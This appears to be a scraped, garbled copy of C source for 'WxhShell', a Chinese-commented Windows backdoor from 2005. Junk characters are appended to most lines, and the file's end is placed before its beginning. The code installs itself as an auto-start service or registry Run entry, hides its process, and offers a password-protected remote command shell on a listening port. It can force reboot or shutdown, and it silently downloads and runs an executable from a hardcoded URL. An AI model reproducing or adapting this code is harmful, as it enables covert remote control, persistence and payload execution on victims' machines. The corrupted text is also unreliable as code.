ULONG InheritedFromUniqueProcessId; C-VkXk
} PROCESS_BASIC_INFORMATION; }_cX" s
.T7S1C $HP
PROCNTQSIP NtQueryInformationProcess; wTVd){q`.
-[>G@m:?e
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5i&+.?(Z=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vv`,H~M6
%<'PSri
HANDLE hProcess; W
sDFui
PROCESS_BASIC_INFORMATION pbi; YXTd^M~@D
[f-<M@id/
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); > ^d+;~Q;
if(NULL == hInst ) return 0; .KE2sodq
c +]5[6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +q)B4A'J!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'M3V#5l)@|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SWMi+)
qISzn04
if (!NtQueryInformationProcess) return 0; M\be a
8f-B-e?k
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RQd5Q.
if(!hProcess) return 0; ~@EBW3>~5
Rs1JCP=d8
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O:te;lQK
#Pq.^ ^
CloseHandle(hProcess); Z$ Mc{
Tg#%5~IX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2ee((vO&
if(hProcess==NULL) return 0; ^+Stvj:N
t+O7dZt%r
HMODULE hMod; sqk$q pV6
char procName[255]; -hpMd/F
unsigned long cbNeeded; 1$rrfg
7D wf0Re`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jxA*Gg3cT5
I=wA)Bli1p
CloseHandle(hProcess); DX@*lM
K7gqF~5x~
if(strstr(procName,"services")) return 1; // 以服务启动 N+0`Jm
:X~{,J
return 0; // 注册表启动 )x&OdFX
} &oqzQ+H
UNd+MHE74I
// 主模块 &io*pmUm6
int StartWxhshell(LPSTR lpCmdLine) %%Z|6V74
{ >PK\bLEo
SOCKET wsl; D*o[a#2_
BOOL val=TRUE; 8i?h{G IMV
int port=0; rQD7ZN_ R
struct sockaddr_in door; ,#QLc
gIaPS0Q
if(wscfg.ws_autoins) Install(); =[V
Zk75GC
port=atoi(lpCmdLine); ,[0rh%%j
<{b#nPc!,#
if(port<=0) port=wscfg.ws_port; IBe0?F #
$sR-J'EE!
WSADATA data; 4|DGQ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MbeO(Q
Xw[|$#QKM
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?*)wQZt;
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8gI~x.k`
door.sin_family = AF_INET; G[!Y6c3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); MnymV;y"
door.sin_port = htons(port); 8t
Ef>
?g #4&z.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =f{YwtG
closesocket(wsl); {pW(@4U
return 1; / qo`vk A
} [P?.(*
# ~T
KC|G
if(listen(wsl,2) == INVALID_SOCKET) { k->cqtG
closesocket(wsl); 4mJ[Wr\y
return 1; ImVHX~qHJ
} )rFcfS+/
Wxhshell(wsl); ;NeN2 |I]
WSACleanup(); q2KWSh5
$mp'/]
return 0; Ik74%x7G`
G Za<
} p[M*<==4
F),wj8#~>-
// 以NT服务方式启动 5W=jQ3 C
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &fYV FRVkq
{ -{'WIGm
DWORD status = 0; wX*F'r"z
DWORD specificError = 0xfffffff; F-2&P:sjQ
WGrG#Kw[
serviceStatus.dwServiceType = SERVICE_WIN32; z^r
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~}fQ.F*7R
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @$(@64r
serviceStatus.dwWin32ExitCode = 0; ~)&im.Q4
serviceStatus.dwServiceSpecificExitCode = 0; N3}jLl/
serviceStatus.dwCheckPoint = 0; P_f^gB7
serviceStatus.dwWaitHint = 0; | &]04
49m}~J=*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C0@[4a$8f
if (hServiceStatusHandle==0) return; B&oP0 jS
$5n6C7
status = GetLastError(); G`"
9/FI7
if (status!=NO_ERROR) 96$qH{]Ap
{ #+,O
serviceStatus.dwCurrentState = SERVICE_STOPPED; RRH[$jk
serviceStatus.dwCheckPoint = 0; 9!06R-h
serviceStatus.dwWaitHint = 0; ai,Nx:r
serviceStatus.dwWin32ExitCode = status; 5*W<6ia
serviceStatus.dwServiceSpecificExitCode = specificError; XLNR%)l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k^Q>
return; Lu@'Ee!>G
} iCrLZ"$M
?H2{R:
serviceStatus.dwCurrentState = SERVICE_RUNNING; h (1 }g/
serviceStatus.dwCheckPoint = 0; 1-M\K^F
serviceStatus.dwWaitHint = 0; \P` mV9P
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aV'r
oxM
} 2PSt*(
6#rj3^]
// 处理NT服务事件,比如:启动、停止 j >wT-s
VOID WINAPI NTServiceHandler(DWORD fdwControl) `K^j:fE7n
{ wpLC,
switch(fdwControl) )m7 Y o
{ PLmf.hD \
case SERVICE_CONTROL_STOP: v!EE[[
serviceStatus.dwWin32ExitCode = 0; Q7b$j\;I
serviceStatus.dwCurrentState = SERVICE_STOPPED; .}.63T$h9
serviceStatus.dwCheckPoint = 0; 5,<:|/r
serviceStatus.dwWaitHint = 0; ?Q XS?
{ ucVn `
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9M&uQccY
} qrtA'fU
return; WKB8k-.]ww
case SERVICE_CONTROL_PAUSE: A!&hjV`
serviceStatus.dwCurrentState = SERVICE_PAUSED; 6-\ghPo
break; Fl'+ C
case SERVICE_CONTROL_CONTINUE: >x$.mXX{
serviceStatus.dwCurrentState = SERVICE_RUNNING; f*}H4H E O
break; jZ8#86/#{
case SERVICE_CONTROL_INTERROGATE: ,`ZIW
break; +bbhm0f
}; i!jR>+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Bgk3(n)
} .^%!X!r
_Bh ^<D-
// 标准应用程序主函数 CQ+WBTiC
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *75?%l
{ (t\
F>A
n
7Bua
// 获取操作系统版本 ]"Qm25`Qz
OsIsNt=GetOsVer(); 1|c\^;cTkt
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6fOh *
#6%9*Rh
// 从命令行安装 ^l(Kj3gM
if(strpbrk(lpCmdLine,"iI")) Install(); `T]1u4^E
rfdT0xfcU
// 下载执行文件 @}{~Ofs
if(wscfg.ws_downexe) { w9J^s<e
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RI
q9wD}4(
WinExec(wscfg.ws_filenam,SW_HIDE); xxlYn9ke
} Ew|VDD(.
_m+64qG_8'
if(!OsIsNt) { BrQXSN$i
// 如果时win9x,隐藏进程并且设置为注册表启动 (KF=v31_m
HideProc(); ?u`TX_OsB
StartWxhshell(lpCmdLine); I C6}s
} ;
iK9'u
else
b :,S
if(StartFromService()) N<\U$\i
// 以服务方式启动 ]ctlK'.
StartServiceCtrlDispatcher(DispatchTable); ^\X-eeA
else Yb<t~jm
// 普通方式启动 `n#
{} %
StartWxhshell(lpCmdLine); zMUifMiAj
S]7RGzFe
return 0; x[,HK{U|t
} jJN.(
P1Z+XRWOM
'7!b#if
D-[`wCa,
=========================================== O<1qU
M
~9OART='
X$L9kZ
\Ami-<T
MMpGI^x!-X
XkWO -L
" 0t-!6
@@,l0/
#include <stdio.h> 1HF=,K+
#include <string.h> g?'4G$M
#include <windows.h> c:/H}2/C
#include <winsock2.h> bk**% ]
#include <winsvc.h> [_&\wHX
#include <urlmon.h> )PRyDC-
c teUKK.|)
#pragma comment (lib, "Ws2_32.lib") uHv9D%R
#pragma comment (lib, "urlmon.lib") Hvn{aLa.
nH#|]gVI
#define MAX_USER 100 // 最大客户端连接数 K&t+3O
#define BUF_SOCK 200 // sock buffer c({V[eGY
#define KEY_BUFF 255 // 输入 buffer JO4rU-
n
Pw^lp'dO
#define REBOOT 0 // 重启 ZR~ *Yofy
#define SHUTDOWN 1 // 关机 Qz+hS\yx
pV>M,f
#define DEF_PORT 5000 // 监听端口 s/,wyxKd
kAF[K,GG
#define REG_LEN 16 // 注册表键长度 e%(,)WlTaU
#define SVC_LEN 80 // NT服务名长度 |z!Y,zaX
3J2j5N:g
// 从dll定义API j0p'_|)(
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6iiH+Nc
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -/>SdR$D7
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 88)F-St
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); io[$QTY
iUv#oX
H
// wxhshell配置信息 jXBAo
struct WSCFG { &TmN^R>
int ws_port; // 监听端口 \;z*j|;B
char ws_passstr[REG_LEN]; // 口令 p nS{W
\Q
int ws_autoins; // 安装标记, 1=yes 0=no >AT{\W!N
char ws_regname[REG_LEN]; // 注册表键名 Fxu'(xa
char ws_svcname[REG_LEN]; // 服务名 TwlrncK*
char ws_svcdisp[SVC_LEN]; // 服务显示名 #Z'r;YOzs
char ws_svcdesc[SVC_LEN]; // 服务描述信息 d66
GO];"
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 73kF=*m
int ws_downexe; // 下载执行标记, 1=yes 0=no <p<J;@
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |fx*F}1
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'n7)()"2
)Q_^f'4
}; hJavi>374
< sJ
// default Wxhshell configuration (p2jigP7a[
struct WSCFG wscfg={DEF_PORT, XY[uyR4Z
"xuhuanlingzhe", vI<n~FHt
1, >a@c5
"Wxhshell", 9oly=&lJ
"Wxhshell", <q
V<dK&W
"WxhShell Service", H'fmQf
"Wrsky Windows CmdShell Service", a9CY,+z5B
"Please Input Your Password: ", XwKB+Yj0
1, }u=-Y'!#]
"http://www.wrsky.com/wxhshell.exe",
6j FD|
"Wxhshell.exe" -lKk.Y.}r
}; L'dR;T[;
,)u\G(N
// 消息定义模块 7V6gT}R
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RT2%)5s
char *msg_ws_prompt="\n\r? for help\n\r#>"; /bE=]nM
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n+db#qAj5
char *msg_ws_ext="\n\rExit."; lKo07s6u
char *msg_ws_end="\n\rQuit."; z\zmAus
char *msg_ws_boot="\n\rReboot..."; vJ__jO"Sq
char *msg_ws_poff="\n\rShutdown..."; rkF]Q_'`t;
char *msg_ws_down="\n\rSave to "; |IbCN
_5F8F4QY`
char *msg_ws_err="\n\rErr!"; 0XCtw6
char *msg_ws_ok="\n\rOK!"; $
e<&7
iez@j
char ExeFile[MAX_PATH]; -^m]Tb<u
int nUser = 0; 29(s^#e8A
HANDLE handles[MAX_USER]; q[l!kC+Eh
int OsIsNt; xFU*,Y
kY8aK8M
SERVICE_STATUS serviceStatus; i%m]<yElm
SERVICE_STATUS_HANDLE hServiceStatusHandle; 1l$c*STK
;++CMTza]
// 函数声明 5&WYL
int Install(void); ).[Mnt/Ft
int Uninstall(void); ~J}{'l1{yf
int DownloadFile(char *sURL, SOCKET wsh); C]ev"Am_)
int Boot(int flag); W7k\j&x
void HideProc(void); 1+1Z]!nG#!
int GetOsVer(void); "0JG96&\
int Wxhshell(SOCKET wsl); %F'*0<
void TalkWithClient(void *cs); 7^}np^[HB
int CmdShell(SOCKET sock); Y`5(F>/RQG
int StartFromService(void); h|^RM*x
int StartWxhshell(LPSTR lpCmdLine); &tT*GjPwg;
W'l
&rm@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `Pa)H
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fiuF!<#;6
$q_e~+SXT
// 数据结构和表定义 /%w9F
SERVICE_TABLE_ENTRY DispatchTable[] = '+6H= Qn
{ V)
#vvnq
{wscfg.ws_svcname, NTServiceMain},
bL: !3|M
{NULL, NULL} g4(vgWOW`
}; >k gL N
|D `r o
// 自我安装 4l0ON>W(
int Install(void) xZJ
r*
{ fAHK<G4
char svExeFile[MAX_PATH]; f>LwsP
HKEY key; '~2S BX?J
strcpy(svExeFile,ExeFile); 02U5N(s
*=OU~68)C
// 如果是win9x系统,修改注册表设为自启动 dd+[FU
if(!OsIsNt) { =YZyH4eI
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1Ner1EKGp
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &/K:zWk3mx
RegCloseKey(key); 7X\azL
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }}AooziH9
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aJ[K' 5|
RegCloseKey(key); >j [> 0D
return 0; YzTmXwuA5
} F`W8\u'db
} 739J] M
} "I"(yiKD
else { 35}{dr
Y7QIFY's~
// 如果是NT以上系统,安装为系统服务 FyZp,uD
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mTG v*=l
if (schSCManager!=0) n9.` 5BH7/
{ +}IOTw"O`
SC_HANDLE schService = CreateService ( Z-~Eh
( 5r;M61
schSCManager, a<-'4D/
wscfg.ws_svcname, rFY% fo
wscfg.ws_svcdisp, oLJP@J
SERVICE_ALL_ACCESS, qA4w*{JN
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yDwG,)m 4s
SERVICE_AUTO_START, ;t'~
SERVICE_ERROR_NORMAL, &X0qH8W
svExeFile, }O+F#/6
NULL, o.qeF4\d6
NULL, <k2Qcicy
NULL, 2=X\G~a
NULL, ?NV3]vl
NULL ~-r*2bR
); jD@KG
if (schService!=0) 2rS|V|d
{ |Qq_;x]
CloseServiceHandle(schService); obUX7N
CloseServiceHandle(schSCManager); i3T]<&+j5
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dW3 q
strcat(svExeFile,wscfg.ws_svcname); 1aC?*,e?
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7x
*]
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !<psK[
RegCloseKey(key); o<\CA[
return 0; TCW[;d
} .}QR~IR'
} gAcXd<a0
CloseServiceHandle(schSCManager); X@$x(Zc
} jl# )CEx
} Y b57Xu
AL #w
return 1; Rk#@{_
} _e/>CiN/
7<W7pXDp
// 自我卸载 E9=a+l9
int Uninstall(void) ZqaCe>
{ ;x.xj/7
HKEY key; sxq'uF(K
$0[T=9q <+
if(!OsIsNt) { MjIp~?*
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tOn_S@/r
RegDeleteValue(key,wscfg.ws_regname); n !ty\E
RegCloseKey(key); L_Q1:nL-0
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Wv=mBEfZ
RegDeleteValue(key,wscfg.ws_regname);
Do3;-yp>`
RegCloseKey(key); -\mbrbG9H
return 0; 3c<).aC0f
} Y|bCbaF
} :-x F=Y(;
} S<Zb>9pl
else { w!{g^*R+!
v1h*/#
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K8 Y/sHl
if (schSCManager!=0) j(Tt-a("z
{ Ip}(!D|
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u@v0I$
if (schService!=0) PxENLQ3a=
{ IaDc hI
if(DeleteService(schService)!=0) { Q`#Y_N-h+
CloseServiceHandle(schService); D]nVhOg|
CloseServiceHandle(schSCManager); PqMU&H_
return 0; \wY? 6#;
} 2+pLDIIT
CloseServiceHandle(schService); Gq4~9Tm)*
} =y"
lX{}G
CloseServiceHandle(schSCManager); @}&o(q1M0
} >mzK96
} a%2r]:?^?
Q/T\Rr_d
return 1; Yc+0OBH[
} [([?+Ouy
y>zPsc,
// 从指定url下载文件 mZ9+.lm
int DownloadFile(char *sURL, SOCKET wsh) %;0Llxf"
{ yQ)y#5/<6
HRESULT hr; wTBp=)1)f
char seps[]= "/"; q7-Eu4w
char *token; I>X _j)
char *file; \D8d!gr
char myURL[MAX_PATH]; K9Dxb
char myFILE[MAX_PATH]; $N[-ks2{@
Y$8
>fv
strcpy(myURL,sURL); 3RpDIl`0
token=strtok(myURL,seps); fDo )~t*~
while(token!=NULL) Bor _Kib
{ WZ}c)r*R
file=token; "qEHK;
token=strtok(NULL,seps); SJhcmx+
} M%H<F3
&E.ckWf
GetCurrentDirectory(MAX_PATH,myFILE); z@hlN3dg
strcat(myFILE, "\\"); Yrp
WGK520
strcat(myFILE, file); qv<[f=X9|
send(wsh,myFILE,strlen(myFILE),0); oy90|.]G
send(wsh,"...",3,0); 3{o5AsVv
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +JE
h7
if(hr==S_OK) <6k5nE h
return 0; ol^J-
else P@LYa_UFsN
return 1; 56(S[
XBv:$F.>$
} M/
@1;a@\
<\]o#w*:
// 系统电源模块 xcO Si>
int Boot(int flag) m_~!Lj[u.
{ xk=5q|u_-
HANDLE hToken; r=[T5,L(s
TOKEN_PRIVILEGES tkp; T1ZAw'6(K
wPTXRq%
if(OsIsNt) { Y*iYr2?;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l v]TE"
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f,Vj8@p)x
tkp.PrivilegeCount = 1; w|?<;+
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1MI/:vy-
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R.Xh&@f`
if(flag==REBOOT) { X
10(oT
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dwOB)B@{H
return 0; "`Q~rjc$2
} Q:$<`K4)
else { qn}w]yGW
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X
$LX;Lv
return 0; o ohgZ&k2]
} 1au1DvH
} "\bbe @
else { *"#62U6
if(flag==REBOOT) { FCxLL"))
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9:N@+;|T
return 0; HgJ:R f]
} +VSJve |
else { \vbU| a
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *9((X,v@/
return 0; ej dYh $
} }6SfI;
} f Co- ony
Ht,_<zP;
return 1; qh;ahX~
} 4PUSFZK?
fMRBGcg7Dc
// win9x进程隐藏模块 dD@k{5
void HideProc(void) :lQl;Q -e
{ ,w%cX{
%(h-cuhq
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fi.gf?d
if ( hKernel != NULL ) -miWXEe@l
{ t3!?F(&
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YnC7e2
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); We3Z#}X
FreeLibrary(hKernel); mB&nN+MV
} $@kGbf~k
]JB~LQz]k
return; 490gW? u
} NBzyP)2)
$PA=7`\MP/
// 获取操作系统版本 ;Hr
FPx&d1
int GetOsVer(void) |UvM[A|+
{ 37'@,*m`
OSVERSIONINFO winfo; 6#P\DT
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jH26-b<
GetVersionEx(&winfo); ,Oojh;P_
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &